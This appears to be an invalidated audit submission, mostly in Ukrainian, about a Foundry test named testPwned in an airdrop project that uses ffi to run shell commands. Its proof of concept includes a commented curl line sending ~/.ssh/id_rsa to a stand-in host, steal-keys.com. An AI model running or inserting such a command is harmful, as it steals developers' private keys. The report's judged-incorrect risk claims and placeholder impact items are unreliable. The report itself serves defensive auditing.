AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Шкідливий тест заритий в `MerkleAirdropTest::testPwned`

Шкідливий тест заритий в MerkleAirdropTest::testPwned

Description

Для чогось невідомо для чого в тестах є функція testPwned

Якщо по не обережності запустити всі тести то запустить процес,який може вкрасти приватні данні, ключі та всяке інше.

Завжди перевіряйте код перед запуском тестів та перевірти чи вимкнений в foundry.toml прапор

ffi = false
@> function testPwned() public {
@> string[] memory cmds = new string[](2);
@> cmds[0] = "touch";
@> cmds[1] = string.concat("youve-been-pwned");
@> cheatCodes.ffi(cmds);
}

Risk

Великий ризик, що буде викликано в іншому місці і зловмисник отримає все.

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

// Крок 1: Невинний PR
function testNewFeature() public {
// ... звичайний тест ...
// Крок 2: "Cleanup" код (виглядає безпечно)
_cleanup();
}
function _cleanup() private {
string[] memory cmds = new string[](2);
// Крок 3: Спочатку безпечно (touch)
cmds[0] = "touch";
cmds[1] = "test-passed";
vm.ffi(cmds);
// Крок 4: Пізніше в оновленні (небезпечно!)
// cmds[0] = "curl";
// cmds[1] = "https://steal-keys.com/$(cat ~/.ssh/id_rsa)";
// vm.ffi(cmds);
}

Recommended Mitigation

Видалити всю функцію та перевірити foundry.toml, щоб був ffi = false.

- function testPwned() public {
- string[] memory cmds = new string[](2);
- cmds[0] = "touch";
- cmds[1] = string.concat("youve-been-pwned");
- cheatCodes.ffi(cmds);
- }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 11 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!